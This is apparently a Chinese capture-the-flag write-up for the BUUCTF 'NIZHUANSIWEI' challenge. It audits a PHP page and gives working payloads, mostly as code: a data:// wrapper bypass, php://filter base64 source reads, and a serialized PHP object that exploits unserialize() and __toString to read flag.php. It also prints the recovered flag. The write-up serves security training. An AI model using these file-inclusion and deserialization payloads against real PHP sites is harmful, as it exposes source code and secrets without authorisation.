BUUCTF-NIZHUANSIWEI(文件包含,伪协议,反序列化)
一、代码审计
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
可以看到首先要绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
绕过第一层后,发现提示useless.php,用php://filter 协议获取其源代码,进行进一步审计
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
结合之前源码中的unserialize很明显的反序列化漏洞,echo 函数会触发__tostring魔术方法,而在此方法中有file_get_contents,尝试传flag进去发现不行,因此传伪协议进去,出flag:
$f = new Flag();
$f->file = "php://filter/read=convert.base64-encode/resource=flag.php";
print(serialize($f));
# payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
flag:
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{c9b09417-dc8a-47f3-9e1f-9804083f701b}");
}
?>
关于php伪协议 可以参考: https://www.jianshu.com/p/0a8339fcc269
|